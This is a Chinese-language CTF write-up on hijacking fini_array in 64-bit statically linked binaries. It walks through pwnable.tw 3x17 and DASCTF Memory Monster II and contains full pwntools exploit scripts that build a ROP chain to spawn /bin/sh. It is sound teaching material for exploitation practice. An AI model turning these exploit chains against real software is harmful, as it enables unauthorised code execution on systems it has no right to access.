劫持 64 位静态程序 fini_array 进行 ROP 攻击

[scode type=“lblue”]2020年8月6日标题添加“静态程序”，补充与 64 位动态程序对比和利用方法差异小结[/scode]

程序起点

程序的启动流程如图所示：

可以看到 main 函数不是程序起点，之前写的格式化字符串盲打也分析过 text 段起点是 _start 函数。_start 函数调用__libc_start_main 完成启动和退出工作。具体看看 _start 函数：

.text:0000000000401A60                 public start
.text:0000000000401A60 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {.text:0000000000401A60                 xor     ebp, ebp
.text:0000000000401A62                 mov     r9, rdx
.text:0000000000401A65                 pop     rsi
.text:0000000000401A66                 mov     rdx, rsp
.text:0000000000401A69                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D                 push    rax
.text:0000000000401A6E                 push    rsp
// 以此将 fini、init、main 地址压入寄存器
.text:0000000000401A6F                 mov     r8, offset sub_402BD0 ; fini
.text:0000000000401A76                 mov     rcx, offset loc_402B40 ; init
.text:0000000000401A7D                 mov     rdi, offset main
.text:0000000000401A84                 db      67h
.text:0000000000401A84                 call    __libc_start_main
.text:0000000000401A8A                 hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start           endp

__libc_start_main 定义原型：

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (*stack_end));

根据 64 位传参特定得出对应寄存器值。这个执行顺序我是通过调试得出来的。（__libc_csu_init 的话是 ret2csu 利用对象。）

rdi <- main
rcx <- __libc_csu_init    //在main函数前执行
r8 <- __libc_csu_fini    //在main函数后执行

__libc_csu_fini 函数

__libc_csu_fini 函数是 main 函数退出返回到 __libc_start_main 后，通过 __libc_start_main 调用的。具体看看函数：

.text:0000000000402960 __libc_csu_fini proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {.text:0000000000402960                 push    rbp
.text:0000000000402961                 lea     rax, unk_4B4100
.text:0000000000402968                 lea     rbp, _fini_array_0
.text:000000000040296F                 push    rbx
.text:0000000000402970                 sub     rax, rbp
.text:0000000000402973                 sub     rsp, 8
.text:0000000000402977                 sar     rax, 3
.text:000000000040297B                 jz      short loc_402996
.text:000000000040297D                 lea     rbx, [rax-1]
.text:0000000000402981                 nop     dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988:                             ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996:                             ; CODE XREF: __libc_csu_fini+1B↑j
.text:0000000000402996                 add     rsp, 8
.text:000000000040299A                 pop     rbx
.text:000000000040299B                 pop     rbp
.text:000000000040299C                 jmp     sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C __libc_csu_fini endp

注意以下这三行源码，是劫持 fini_array 实现无限写进行 ROP 的关键：

//将 fini_array[0] 的值加载到 rbp
.text:0000000000402968                 lea     rbp, _fini_array_0
//经过一系列运算后，这里会 call fini_array[1] ，也就是调用存储在 fini_array[1] 的指针
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
//调用完 fini_array[1] 之后再次进过一系列运算，这里会 call fini_array[0]
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]

看一下 fini_array 的代码：

.fini_array:00000000004B40F0 _fini_array     segment para public 'DATA' use64
.fini_array:00000000004B40F0                 assume cs:_fini_array
.fini_array:00000000004B40F0                 ;org 4B40F0h
.fini_array:00000000004B40F0 _fini_array_0   dq offset sub_401B00    ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0                                         ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8                 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array     ends

这里明确知道了 fini_array 里面存储了两个指针，调用顺序为：先 fini_array[1] ，再 fini_array[0] 。那么**如果我们把 fini_array[1] 覆盖为函数 A 的地址，fini_array[0] 覆盖为 __libc_csu_fini 的地址 **，当退出 main 后，程序会这样：

__libc_csu_fini先执行一遍fini_array[1]:addrA，返回后再执行fini_array[0]:__libc_csu_fini__libc_csu_fini先执行一遍fini_array[1]:addrA，返回后再执行fini_array[0]:__libc_csu_fini__libc_csu_fini先执行一遍fini_array[1]:addrA，返回后再执行fini_array[0]:__libc_csu_fini......

这个循环就会一直持续到 fini_array[0] 被覆盖为其他值。

还有个点就是上面提到的源码中的 lea rbp, _fini_array_0 ，将 rbp 的值修改为 fini_array[0] 所在的地址，那么配合 leave|ret 就能将栈迁移到 fini_array + 0x10 的地址，我们就将利用函数放在这个地方。

pwnable.tw-3x17

保护情况

静态链接的 64 位程序：

skye:~/CTF学习/fini_array劫持$ file 317
317: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

checksec 检查是没有 canary 但是根据汇编去检查是有 canary 保护的：

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函数

题目编译的二进制文件没有符号表，可以尝试用 lscan 找到对应 sig 文件修复，或者通过字符串定位到 main 函数位置（shift+F12）。

main 函数中一个任意地址写入 0x18 的功能：

//重命名部分函数名
int __cdecl main(int argc, const char **argv, const char **envp)
{int result; // eaxchar *v4; // ST08_8char buf; // [rsp+10h] [rbp-20h]unsigned __int64 v6; // [rsp+28h] [rbp-8h]v6 = __readfsqword(0x28u);result = (unsigned __int8)++byte_4B9330;if ( byte_4B9330 == 1 ){write_fun(1u, "addr:", 5uLL);read_fun(0, &buf, 0x18uLL);//读取地址v4 = (char *)(signed int)sub_40EE70((__int64)&buf);write_fun(1u, "data:", 5uLL);read_fun(0, v4, 0x18uLL);//向读取地址写入内容result = 0;}if ( __readfsqword(0x28u) != v6 )sub_44A3E0();return result;
}

思路

这条题目还有其他解法，因为用这条题目学习 fini_array 劫持就记录这种做法。其他解法：pwnable.tw_3x17

静态编译程序只能用它的有东西 getshell 。写 shellcode 估计要 mprotect 给内容加上运行权限绕过 NX 保护；写个系统调用号可行一点。

那就需要用到写入功能函数了，如果需要符合本文学习内容，就需要一个任意地址写的函数，刚好 main 函数就是。现在明确思路：

将 fini_array[1] 覆盖为 main 函数地址；fini_array[0] 覆盖为 __libc_start_fini 地址；
依次向 fini_array + 0x10 写入系统调用号利用代码；
写入完成后，将 fini_array[0] 覆盖为 leave|ret，将栈迁移到 fini_array + 0x10;

构建的系统调用命令：syscall(0x3b,addr_of_binsh,0,0)

相当于：execve(addr_of_binsh,0,0)

系统调用号查询：https://www.mrskye.cn/archives/168/

exp

from pwn import *
context.log_level = 'debug'#p = process("./317")
p = remote("chall.pwnable.tw",10105)
elf = process("./317")fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
esp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419Adef write(addr,data):p.recv()p.send(str(addr))p.recv()p.send(data)def exp():# hijack fini_array#gdb.attach(p)write(fini_array,p64(libc_csu_fini) + p64(main_addr))# rop chainwrite(bin_sh_addr,"/bin/sh\x00")write(esp,p64(rop_pop_rax))write(esp+8,p64(0x3b))write(esp+16,p64(rop_pop_rdi))write(esp+24,p64(bin_sh_addr))write(esp+32,p64(rop_pop_rdx))write(esp+40,p64(0))write(esp+48,p64(rop_pop_rsi))write(esp+56,p64(0))write(esp+64,p64(rop_syscall))# stack pivotingwrite(fini_array,p64(leave_ret) + p64(ret))if __name__ == '__main__':exp()p.interactive()

参考文章

[原创]pwnable.tw新手向write up(二) 3×17-x64静态编译程序的fini_array劫持

Memory Monster II

题目来源 DASCTF 五月赛，作者为 TaQini ，[附件]([https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/tree/master/2020_DAS_SECURITY_CTF_MAY./Pwnable/Memory%20Monster%20II](https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/tree/master/2020_DAS_SECURITY_CTF_MAY./Pwnable/Memory Monster II))

这里和上面那条机会一样，下面是独立完成，详细记录一下

保护情况

checksec 检查是没有 canary 但是根据汇编去检查是有 canary 保护的：

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函数

题目编译的二进制文件没有符号表，可以尝试用 lscan 找到对应 sig 文件修复，没有卵用只修复了两个函数，但是能看到 _start 函数：（重命名部分函数）

.text:0000000000401B00                 public start
.text:0000000000401B00 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401B00 ; __unwind {.text:0000000000401B00                 xor     ebp, ebp
.text:0000000000401B02                 mov     r9, rdx
.text:0000000000401B05                 pop     rsi
.text:0000000000401B06                 mov     rdx, rsp
.text:0000000000401B09                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401B0D                 push    rax
.text:0000000000401B0E                 push    rsp
.text:0000000000401B0F                 mov     r8, offset __libc_start_fini
.text:0000000000401B16                 mov     rcx, offset __libc_start_init
.text:0000000000401B1D                 mov     rdi, offset main
.text:0000000000401B24                 db      67h
.text:0000000000401B24                 call    sub_4020B0
.text:0000000000401B2A                 hlt
.text:0000000000401B2A ; } // starts at 401B00
.text:0000000000401B2A start           endp

依据规律知道三个 mov 依次是处理 __libc_start_fini、__libc_start_init、main 。从这里获取到关键参数： __libc_start_fini、main 地址。

然后 gdb 调试，断点打在 __libc_start_fini ，一直运行到 call 指令，rbp 存储的值就是 fini_array[0] 的地址 0x4b80b0 ：

leave_ret 和 ret 通过 ROPgadget 直接能查到；rax、rdi、rsi、rdx 传参 gadget 也能找到，这几个 gadget 找那种只穿一个寄存器的：pop rax;ret。

exp

from pwn import *
context.log_level = 'debug'p = process("./main")
elf = ELF("./main")#hijack fini
libc_csu_fini = 0x0402CB0
main_addr = 0x0401C1D
fini_array = 0x4b80b0
esp = fini_array + 0x10
leave_ret = 0x0401cf3
ret = 0x0401016#execve('/bin/sh',0,0)
rop_syscall = 0x46F745
rop_pop_rax = 0x0000000000448fcc
rop_pop_rdx = 0x0000000000448415
rop_pop_rsi = 0x0000000000406f80
rop_pop_rdi = 0x0000000000401746
bin_sh_addr = 0x492895def write(addr,data):p.sendlineafter('addr:',p64(addr))p.sendafter('data:',data)# hijack fini_array
gdb.attach(p,'b *0x0402CB0')
write(fini_array,p64(libc_csu_fini) + p64(main_addr))# rop chain
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))# stack pivoting
#gdb.attach(p)
write(fini_array,p64(leave_ret) + p64(ret))
p.interactive()

补充总结

怎么找 fini_array ？

首先 fini_array 是 __libc_csu_fini 函数里面会用的一个列表，当程序退出时会调用这个数组存放的一个或两个函数，调用完成后才继续完成退出函数，这时才是真正退出程序。

64 位静态链接程序

fini_array 数组长度为 0x10 字节，里面放了两个函数地址，退出 main 函数会先执行 fini_array[1] ，然后执行 fini_array[0] 。

在劫持 64 位静态程序 fini_array 进行 ROP 攻击里面接触的是 64 位静态编译的程序，程序是没有符号表的，寻找 fini_array 方法是：

首先 readelf -h 程序名 查看程序加载入口地址。

gdb 调试将断点打在入口地址，然后找到有三个传参的 mov 指令，mov r8 就是 __libc_csu_fini 的地址：

.text:0000000000401A60                 public start
.text:0000000000401A60 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {.text:0000000000401A60                 xor     ebp, ebp
.text:0000000000401A62                 mov     r9, rdx
.text:0000000000401A65                 pop     rsi
.text:0000000000401A66                 mov     rdx, rsp
.text:0000000000401A69                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D                 push    rax
.text:0000000000401A6E                 push    rsp
.text:0000000000401A6F                 mov     r8, offset sub_402BD0 ; fini
.text:0000000000401A76                 mov     rcx, offset loc_402B40 ; init
.text:0000000000401A7D                 mov     rdi, offset main
.text:0000000000401A84                 db      67h
.text:0000000000401A84                 call    __libc_start_main
.text:0000000000401A8A                 hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start           endp

然后 x /20i addr 查看该地址开始的汇编，找到 lea rbp,[rip+0xb***1] # 0x4***f0 ，这个地址就是 fini_array[1] 的地址：

pwndbg> x/20i 0x402bd00x402bd0 <__libc_csu_fini>:    push   rbp0x402bd1 <__libc_csu_fini+1>:    lea    rax,[rip+0xb24e8]        # 0x4***c0 0x402bd8 <__libc_csu_fini+8>:    lea    rbp,[rip+0xb24d1]        # 0x4***b0 0x402bdf <__libc_csu_fini+15>:    push   rbx0x402be0 <__libc_csu_fini+16>:    sub    rax,rbp0x402be3 <__libc_csu_fini+19>:    sub    rsp,0x80x402be7 <__libc_csu_fini+23>:    sar    rax,0x30x402beb <__libc_csu_fini+27>:    je     0x402c06 <__libc_csu_fini+54>0x402bed <__libc_csu_fini+29>:    lea    rbx,[rax-0x1]0x402bf1 <__libc_csu_fini+33>:    nop    DWORD PTR [rax+0x0]0x402bf8 <__libc_csu_fini+40>:    call   QWORD PTR [rbp+rbx*8+0x0]0x402bfc <__libc_csu_fini+44>:    sub    rbx,0x10x402c00 <__libc_csu_fini+48>:    cmp    rbx,0xffffffffffffffff0x402c04 <__libc_csu_fini+52>:    jne    0x402bf8 <__libc_csu_fini+40>0x402c06 <__libc_csu_fini+54>:    add    rsp,0x80x402c0a <__libc_csu_fini+58>:    pop    rbx0x402c0b <__libc_csu_fini+59>:    pop    rbp0x402c0c <__libc_csu_fini+60>:    jmp    0x48f52c <_fini>

64 位动态链接程序

fini_array 数组长度为 0x8 字节，里面放了一个函数地址，退出 main 函数会执行 fini_array[0]。

gdb 输入 elf 找 .fini_array ，开始地址就是 fini_array[0]

或者 IDA ctrl+s 找 .fini_array 分段：

64 位中只有 fini_array[0] ，没有 fini_array[1] ，也就是只能运行写入 fini_array 一次，然后就正常退出了。无法像静态编译那样重复调用。

静态动态利用方式小结

动态程序目前就遇到 2015 hacklu bookstore 这一题，太菜了总结不出规律。

静态程序基本上套路是劫持 fini_array + 循环写入，将 ROP 链布置到 fini_array + 0x10 ，写入完成后将栈迁移到 fini_array + 0x10 执行 ROP 链。静态程序的总结可以看看淇淇师傅文章。

参考文章

详解64位静态编译程序的fini_array劫持及ROP攻击